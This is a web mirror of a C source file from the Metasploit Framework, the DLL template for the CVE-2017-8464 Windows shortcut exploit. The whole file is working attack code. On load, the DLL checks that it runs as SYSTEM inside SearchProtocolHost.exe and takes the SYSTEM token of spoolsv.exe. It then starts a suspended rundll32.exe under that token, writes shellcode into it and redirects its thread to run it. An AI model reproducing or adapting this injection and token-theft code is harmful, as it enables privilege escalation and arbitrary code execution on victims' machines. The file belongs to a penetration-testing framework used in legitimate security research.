Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/cve-2017-8464/template.c
21367 views
1
#include <windows.h>
2
#include <sddl.h>
3
#include <tchar.h>
4
#include <tlhelp32.h>
5
#include <userenv.h>
6
7
#include "template.h"
8
9
void ExecutePayload(HANDLE hDll);
10
11
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
12
switch (dwReason) {
13
case DLL_PROCESS_ATTACH:
14
ExecutePayload(hDll);
15
break;
16
17
case DLL_PROCESS_DETACH:
18
break;
19
20
case DLL_THREAD_ATTACH:
21
break;
22
23
case DLL_THREAD_DETACH:
24
break;
25
}
26
return TRUE;
27
}
28
29
BOOL StringEndsWithStringA(LPCSTR szStr, LPCSTR szSuffix, BOOL bCaseSensitive) {
30
int result;
31
32
if (strlen(szStr) < strlen(szSuffix)) {
33
return FALSE;
34
}
35
if (bCaseSensitive) {
36
result = strcmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
37
}
38
else {
39
result = _stricmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
40
}
41
return result == 0;
42
}
43
44
BOOL GetProcessSid(HANDLE hProc, PSID *pSid) {
45
HANDLE hToken;
46
DWORD dwLength = 0;
47
TOKEN_USER *tuUser = NULL;
48
SIZE_T szSid = 0;
49
50
*pSid = NULL;
51
if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) {
52
return FALSE;
53
}
54
55
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
56
tuUser = (TOKEN_USER *)malloc(dwLength);
57
if (!tuUser) {
58
return FALSE;
59
}
60
61
if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) {
62
free(tuUser);
63
return FALSE;
64
}
65
66
szSid = GetLengthSid(tuUser->User.Sid);
67
*pSid = LocalAlloc(LPTR, szSid);
68
if ((*pSid) && (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid))) {
69
LocalFree(*pSid);
70
*pSid = NULL;
71
}
72
73
free(tuUser);
74
CloseHandle(hToken);
75
return *pSid != NULL;
76
}
77
78
BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) {
79
PSID pTestSid = NULL;
80
PSID pTargetSid = NULL;
81
82
if (!ConvertStringSidToSid(sStringSid, &pTargetSid)) {
83
return FALSE;
84
}
85
86
if (!GetProcessSid(hProc, &pTestSid)) {
87
LocalFree(pTargetSid);
88
return FALSE;
89
}
90
91
*pbResult = EqualSid(pTestSid, pTargetSid);
92
LocalFree(pTargetSid);
93
LocalFree(pTestSid);
94
return TRUE;
95
}
96
97
DWORD FindProcessId(LPCTSTR szProcessName) {
98
HANDLE hProcessSnap;
99
PROCESSENTRY32 pe32;
100
DWORD result = 0;
101
102
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
103
if (hProcessSnap == INVALID_HANDLE_VALUE) {
104
return 0;
105
}
106
107
pe32.dwSize = sizeof(PROCESSENTRY32);
108
if (!Process32First(hProcessSnap, &pe32)) {
109
CloseHandle(hProcessSnap);
110
return 0;
111
}
112
113
do {
114
if (!strcmp(szProcessName, pe32.szExeFile)) {
115
result = pe32.th32ProcessID;
116
break;
117
}
118
} while (Process32Next(hProcessSnap, &pe32));
119
CloseHandle(hProcessSnap);
120
return result;
121
}
122
123
HANDLE GetPayloadToken(void) {
124
HANDLE hTokenHandle = NULL;
125
HANDLE hProcessHandle = NULL;
126
BOOL bIsSystem = FALSE;
127
DWORD dwPid = 0;
128
CHAR Path[MAX_PATH + 1];
129
130
ZeroMemory(Path, sizeof(Path));
131
GetModuleFileNameA(NULL, Path, MAX_PATH);
132
if (!StringEndsWithStringA(Path, "\\SearchProtocolHost.exe", TRUE)) {
133
return NULL;
134
}
135
/* loaded into the context of SearchProtocolHost.exe */
136
137
if (IsProcessRunningAsSystem(GetCurrentProcess(), &bIsSystem) && (!bIsSystem)) {
138
return NULL;
139
}
140
/* and running as NT_AUTHORITY SYSTEM */
141
142
dwPid = FindProcessId("spoolsv.exe");
143
if (!dwPid) {
144
return NULL;
145
}
146
147
hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
148
if (!hProcessHandle) {
149
return NULL;
150
}
151
152
bIsSystem = FALSE;
153
if (IsProcessRunningAsSystem(hProcessHandle, &bIsSystem) && (!bIsSystem)) {
154
return NULL;
155
}
156
/* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */
157
158
OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTokenHandle);
159
CloseHandle(hProcessHandle);
160
return hTokenHandle;
161
}
162
163
DWORD WINAPI MonitorPayloadProcess(PEXPLOIT_DATA pExploitData) {
164
/* wait for the process to exit or 10 seconds before cleaning up */
165
WaitForSingleObject(pExploitData->hProcess, 10000);
166
CloseHandle(pExploitData->hProcess);
167
CloseHandle(pExploitData->hMutex);
168
169
/* this does not return */
170
FreeLibraryAndExitThread(pExploitData->hModule, 0);
171
return 0;
172
}
173
174
void ExecutePayload(HANDLE hDll) {
175
PROCESS_INFORMATION pi;
176
STARTUPINFO si;
177
CONTEXT ctx;
178
LPVOID ep;
179
SECURITY_ATTRIBUTES MutexAttributes;
180
SIZE_T dwBytesWritten = 0;
181
PEXPLOIT_DATA pExploitData = NULL;
182
HANDLE hToken;
183
184
pExploitData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(EXPLOIT_DATA));
185
if (!pExploitData) {
186
return;
187
}
188
189
/* keep a reference to the module for synchronization purposes */
190
GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, hDll, (HINSTANCE *)&(pExploitData->hModule));
191
192
ZeroMemory(&MutexAttributes, sizeof(MutexAttributes));
193
MutexAttributes.nLength = sizeof(MutexAttributes);
194
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
195
pExploitData->hMutex = CreateMutex(&MutexAttributes, TRUE, "MUTEX!!!");
196
if (!pExploitData->hMutex) {
197
return;
198
}
199
200
if (GetLastError() == ERROR_ALREADY_EXISTS) {
201
CloseHandle(pExploitData->hMutex);
202
return;
203
}
204
205
if (GetLastError() == ERROR_ACCESS_DENIED) {
206
CloseHandle(pExploitData->hMutex);
207
return;
208
}
209
210
hToken = GetPayloadToken();
211
212
ZeroMemory(&si, sizeof(si));
213
si.cb = sizeof(si);
214
215
/* start up the payload in a new process */
216
if (CreateProcessAsUser(hToken, NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
217
ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
218
GetThreadContext(pi.hThread, &ctx);
219
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
220
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, &dwBytesWritten);
221
if (dwBytesWritten == SCSIZE) {
222
223
#ifdef _WIN64
224
ctx.Rip = (DWORD64)ep;
225
#else
226
ctx.Eip = (DWORD)ep;
227
#endif
228
229
SetThreadContext(pi.hThread, &ctx);
230
ResumeThread(pi.hThread);
231
232
CloseHandle(pi.hThread);
233
pExploitData->hProcess = pi.hProcess;
234
}
235
}
236
237
if (hToken) {
238
CloseHandle(hToken);
239
}
240
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorPayloadProcess, pExploitData, 0, NULL);
241
}
242
243